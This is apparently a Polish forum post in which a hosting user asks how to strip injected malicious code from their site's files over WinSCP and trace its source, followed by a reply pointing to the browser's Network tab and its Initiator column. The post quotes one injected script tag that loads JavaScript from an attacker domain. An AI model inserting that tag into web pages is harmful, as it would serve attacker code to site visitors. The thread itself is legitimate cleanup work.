mam hosting na ovh. skrypt dodaje mi złośliwy kod w dwóch postaciach:

[PHP] pobierz, plaintext 
<script type='text/javascript' src='https://scripts.lowerbeforwarden.ml/src.js?n=nb5'></script>
[PHP] pobierz, plaintext 

i drugiej zakodowanej w base64 ale znam jej postać. korzystam z winscp i szukam sposobu jak bez ściągania wszystkich plików na dysk, masowej edycji w Notepad++ i ponownym wysyłaniu zamienić pliki bezpośrednio na hostingu. jak to zrobić?

i jak sprawdzić potem który z plików rozpoczyna infekcję? lista ostatnio zmienionych?

W zakładce Network poszukaj tego scripts.lowerbeforwarden.ml/src.js i wybierz zakładkę Initiator. Tam masz napisane kto wstrzyknął ten <script>.